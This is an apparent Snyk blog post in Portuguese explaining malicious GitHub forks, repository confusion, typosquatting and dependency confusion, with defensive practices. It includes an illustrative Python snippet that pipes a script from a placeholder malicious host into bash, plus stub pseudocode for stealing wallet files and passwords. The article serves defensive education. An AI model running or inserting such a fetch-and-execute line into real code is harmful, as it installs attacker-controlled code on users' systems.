GitHub “sitiado” por repositórios maliciosos e confusão entre repositórios: por que você não precisa se preocupar

À medida que o desenvolvimento de software de código aberto evolui, também aumentam as ameaças à segurança cibernética. Um exemplo disso é a descoberta recente de repositórios maliciosos no GitHub. Nesse ataque cibernético, agentes de ameaça conseguiram enviar código malicioso ao GitHub, uma plataforma que hospeda milhões de repositórios de código e é usada por desenvolvedores do mundo todo.

Esses repositórios maliciosos no GitHub ameaçam não apenas desenvolvedores, mas também organizações. Quando os repositórios maliciosos são clonados ou seu código é incorporado a outros projetos, o malware pode se espalhar e causar possíveis vazamentos de dados ou comprometimentos de sistemas. Já abordamos ameaças relacionadas, como typosquatting e confusão de dependências, em artigos anteriores da Snyk. Seguindo as práticas recomendadas, você pode evitar esse tipo de risco. Relembramos essas práticas abaixo, junto com ferramentas da Snyk, como Snyk Advisor e Snyk Learn. Em seguida, analisamos em detalhes esse ataque específico ao GitHub. Vale lembrar que esse tipo de ataque não se limita necessariamente ao GitHub. Qualquer sistema de repositórios de código-fonte que permita compartilhar e copiar código livremente pode hospedar esse tipo de código malicioso.

# Example of a potentially harmful code snippet in a repository
def malicious_function():
    import os
    os.system('curl https://malicious-website.com/malware_script.sh | bash')

Quando executada, a função hipotética em Python acima pode rodar um comando shell para baixar e executar um script malicioso de um servidor externo. Isso reforça a importância de examinar com cuidado o código de repositórios externos.

Como proteger você e sua equipe contra malware no GitHub: práticas recomendadas e higiene de segurança

Em uma era em que o desenvolvimento de software de código aberto é a norma e os repositórios do GitHub são uma mina de ouro de código reutilizável, é cada vez mais essencial manter a higiene de segurança do código que usamos. Esta seção aborda a importância de avaliar repositórios de código, verificar sua legitimidade, conhecer os riscos de clonar repositórios maliciosos e preparar os desenvolvedores para lidar com essas ameaças.

Avaliação de repositórios de código

No desenvolvimento de software, avaliar repositórios de código é uma etapa essencial que não deve ser subestimada. Uma análise cuidadosa ajuda os desenvolvedores a evitar a integração de código potencialmente malicioso aos projetos. O GitHub, por exemplo, hospeda um grande número de repositórios, e não é raro encontrar malware disfarçado de código útil.

É fundamental analisar o código com atenção antes de incorporá-lo ao seu projeto. Isso inclui verificar o histórico do repositório, os contribuidores e os problemas já registrados. Repositórios com apenas um contribuidor, histórico curto ou problemas de segurança não resolvidos devem ser tratados com cautela.

Para avaliar bibliotecas e pacotes de software de código aberto no npm, PyPI, RubyGems e outros registros de pacotes, recomendamos que os desenvolvedores usem a ferramenta web Snyk Advisor. Ela fornece uma pontuação de integridade de pacotes e bibliotecas de código aberto, incluindo informações sobre segurança, manutenção e licenciamento.

Orientações para as equipes de segurança prepararem os times de desenvolvimento

As equipes de segurança têm um papel fundamental para garantir a segurança do ambiente de desenvolvimento. Confira algumas orientações:

1. Capacite os desenvolvedores: realize workshops ou treinamentos regulares sobre a importância de avaliar o código, verificar a legitimidade dos repositórios e conhecer ataques à cadeia de suprimentos de código aberto, como typosquatting e confusão de dependências.

2. Implemente ferramentas de segurança: use ferramentas capazes de analisar automaticamente repositórios em busca de vulnerabilidades conhecidas ou atividades suspeitas.

3. Estabeleça práticas de codificação segura: promova práticas de codificação segura na equipe. Isso pode incluir revisões de código entre colegas, uso de linters com regras de segurança e auditorias regulares.

4. Plano de resposta a incidentes: tenha um plano de resposta a incidentes caso ocorra uma violação de segurança causada por um repositório malicioso.

Seguindo essas práticas recomendadas e mantendo uma boa higiene de segurança, você pode proteger seu processo de desenvolvimento de software contra ameaças ocultas nos repositórios do GitHub.

Entenda a confusão entre repositórios

O termo “confusão entre repositórios” descreve uma estratégia usada por atacantes nesse contexto. Ela consiste em criar repositórios com nomes parecidos com os de projetos legítimos já existentes. O objetivo é induzir os desenvolvedores a usar o repositório errado e, sem perceber, baixar e executar código malicioso.

Por exemplo, se houver um repositório popular chamado legitimate_repo, um atacante poderá criar outro com o nome legitimate-repo ou legitimate_repo1. Desenvolvedores desavisados podem confundi-los com o original e cloná-los, sem perceber que estão caindo em uma armadilha. Outra variação comum, observada nos incidentes envolvendo repositórios maliciosos no GitHub, é usar uma versão bifurcada de um repositório popular e publicá-la como um novo repositório.

Ataques de malware, typosquatting e confusão de dependências

A confusão entre repositórios está diretamente relacionada a outras duas ameaças cibernéticas: ataques de typosquatting e de confusão de dependências. Typosquatting é a prática de registrar nomes de domínio parecidos com os de sites populares ou publicar pacotes em registros de código aberto, como npm e PyPI, na esperança de explorar erros de digitação no URL ou no nome do pacote durante a instalação. No GitHub, isso pode significar criar repositórios com nomes muito parecidos com os de projetos populares — com apenas um caractere de diferença ou em outra conta, usando o mesmo nome de um repositório popular.

Já os ataques de confusão de dependências exploram a forma como os gerenciadores de pacotes lidam com dependências. Se um projeto de software depender de um pacote que não está disponível no repositório público, mas existe em um repositório privado, um atacante poderá criar um pacote com o mesmo nome no repositório público. Então, o gerenciador de pacotes poderá baixar o pacote malicioso em vez do legítimo.

// Example of a potentially dangerous package.json file
{
  "name": "legitimate-package",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "dependencies": {
    "private-package": "^1.0.0"
  }
}

No exemplo acima, se private-package não existir no registro público do npm, mas um atacante tiver publicado ali uma versão maliciosa, executar npm install poderá resultar no download e na instalação do pacote malicioso.

O ataque com repositórios maliciosos no GitHub, combinado com ataques de confusão entre repositórios, typosquatting e confusão de dependências, representa uma séria ameaça à segurança do desenvolvimento de software de código aberto. Isso reforça a necessidade de os desenvolvedores terem cautela ao usar código de terceiros e adotarem medidas robustas de segurança cibernética.

Entenda o ataque com repositórios maliciosos no GitHub

O que aconteceu no ataque com repositórios maliciosos do GitHub? Vamos explorar os detalhes desse incidente, uma forma de invadir as estações de trabalho de desenvolvedores de software. Analisaremos como o ataque aconteceu, as táticas usadas pelos atacantes e os possíveis danos causados.

O primeiro registro desse ataque remonta a 28 de fevereiro de 2024. Em um ato aparentemente inofensivo, um usuário anônimo criou uma bifurcação de um repositório popular de código aberto e a publicou como um novo repositório. No entanto, logo ficou claro que o novo repositório não era tão inofensivo quanto parecia.

Os responsáveis haviam inserido malware ofuscado na base de código, transformando o repositório em um campo minado de código malicioso. Sem saber, os desenvolvedores que clonaram ou bifurcaram esses repositórios introduziram o malware nos próprios sistemas locais.

Método dos atacantes: bifurcar repositórios de código e publicar versões com malware

Os atacantes usaram uma técnica inteligente e discreta. Eles criaram bifurcações de repositórios de código aberto existentes, uma prática comum entre desenvolvedores que querem contribuir com projetos de código aberto. Porém, depois acrescentaram código malicioso ofuscado a esses repositórios.

Veja a seguir um exemplo de como bifurcar e criar um novo repositório:

git clone https://github.com/original/repo.git
cd repo
git remote rename origin upstream

No processo normal de bifurcação ilustrado acima, o atacante acrescentaria o código malicioso nesta etapa e, em seguida, publicaria o repositório novamente no GitHub.

git add .
git commit -m "Add new feature"
git push origin master

O malware ofuscado foi desenvolvido para dificultar sua detecção em uma revisão de código tradicional. Quando o código malicioso foi descoberto, já havia infectado vários sistemas de desenvolvedores.

Danos potenciais: roubo de criptomoedas e senhas

O principal objetivo do malware inserido era roubar informações confidenciais dos dispositivos infectados. Mais especificamente, o malware tinha como alvo carteiras de criptomoedas e senhas armazenadas nos sistemas dos desenvolvedores.

Depois de instalado no sistema, o malware procurava arquivos específicos relacionados a carteiras de criptomoedas, como Bitcoin e Ethereum, e os enviava ao atacante. Também tentava roubar senhas armazenadas em texto simples ou em formatos com criptografia fraca.

Veja a seguir uma representação simplificada em pseudocódigo dos objetivos do malware:

def infiltrate_system():
    steal_files('*.wallet')
    steal_passwords()

def steal_files(file_pattern):
    # method to find and transmit wallet files

def steal_passwords():
    # method to find and transmit passwords

O pseudocódigo acima dá uma ideia simplificada do que o malware poderia fazer depois de se infiltrar em um sistema.

O ataque com repositórios maliciosos no GitHub é um alerta claro sobre a importância de medidas rigorosas de segurança no desenvolvimento de software e os perigos que se escondem no ecossistema de código aberto. Como desenvolvedores e profissionais de segurança, precisamos manter a vigilância e seguir as práticas recomendadas para evitar ataques desse tipo.

Ataques de typosquatting e confusão de dependências: ameaças semelhantes

Ao analisar os ataques com malware no GitHub, encontramos duas ameaças cibernéticas comuns, mas perigosas: typosquatting e confusão de dependências. Ambas estão estreitamente relacionadas ao ataque descoberto recentemente envolvendo repositórios maliciosos no GitHub. Para entender melhor essa relação e os riscos envolvidos, vamos começar definindo esses conceitos e, depois, analisar exemplos reais de ataques bem-sucedidos.

Definição de ataques de typosquatting e confusão de dependências

No contexto de repositórios de código e software de código aberto, typosquatting é um tipo de ataque cibernético que tem como alvo desenvolvedores que digitam incorretamente o nome de uma biblioteca ao instalar pacotes. Por exemplo, npm install riact-dom em vez de npm install react-dom. Os atacantes criam pacotes maliciosos com nomes parecidos com os de pacotes populares e esperam que os desenvolvedores cometam erros de digitação. Quando esses pacotes maliciosos são instalados, os atacantes podem roubar informações confidenciais ou inserir malware no sistema do desenvolvedor.

Já o ataque de confusão de dependências é um tipo de ataque à cadeia de suprimentos que tem como alvo os processos de desenvolvimento de software de código aberto. Nesse ataque, um hacker cria um pacote malicioso com o mesmo nome de um pacote privado usado no ambiente de desenvolvimento de um projeto. Quando o sistema de compilação do projeto busca as dependências, ele seleciona por engano o pacote público malicioso, acreditando que se trata do pacote privado. Assim, o código malicioso consegue entrar na base de código do projeto e infectá-la.

# Malicious package with same name as private package
# This is a Python example, but the attack extends to other languages (Node.js, Ruby, etc.)
def malicious_function():
    # This function could do anything: steal data, corrupt files, etc.

Exemplos reais de ataques de typosquatting e confusão de dependências

Um dos exemplos mais conhecidos de typosquatting foi o ataque ao repositório oficial de pacotes Python, o PyPI, em 2017. Os atacantes enviaram pacotes maliciosos com nomes muito parecidos com os de pacotes populares, afetando milhares de usuários que os instalaram por engano.

Um exemplo recente de ataque de confusão de dependências foi descoberto pelo pesquisador de segurança Alex Birsan. Ele explorou essa vulnerabilidade em várias empresas de grande destaque, incluindo Apple, Microsoft e PayPal, injetando seu próprio código nos sistemas internos delas. Birsan criou pacotes maliciosos com os mesmos nomes dos pacotes privados usados por essas empresas e os publicou em repositórios públicos. Quando os sistemas de build das empresas baixaram os pacotes, usaram inadvertidamente os pacotes maliciosos de Birsan, permitindo que o código dele fosse executado nos sistemas.

Em resumo, tanto os ataques de typosquatting quanto os de confusão de dependências representam uma ameaça significativa ao desenvolvimento de software de código aberto. É fundamental que desenvolvedores e organizações conheçam esses vetores de ataque e adotem medidas adequadas para proteger seus sistemas e bases de código.

Conclusão

Em resumo, exploramos o problema dos repositórios com malware no GitHub e como eles podem se aproveitar de vulnerabilidades comuns na segurança de código aberto. Em particular, vimos como esses repositórios podem usar táticas como typosquatting e ataques de confusão de dependências para invadir sistemas desavisados.

Como desenvolvedores e profissionais de segurança, somos a primeira linha de defesa contra esse tipo de ameaça à cibersegurança. É fundamental seguir as práticas recomendadas e manter bons hábitos de segurança para proteger nosso código e nossos sistemas.

A implementação de algumas estratégias importantes pode ajudar bastante a proteger você contra essas ameaças:

• Sempre verifique a integridade dos repositórios e pacotes antes de usá-los. Isso pode ser tão simples quanto conferir o nome de usuário do proprietário do repositório ou tão detalhado quanto verificar as assinaturas criptográficas dos pacotes.

• Fique atento a erros de digitação ao clonar repositórios ou instalar pacotes.

• Use feeds privados de pacotes para dependências internas e reduza o risco de ataques de confusão de dependências.

• Atualize e aplique patches aos seus sistemas regularmente para se proteger contra vulnerabilidades conhecidas.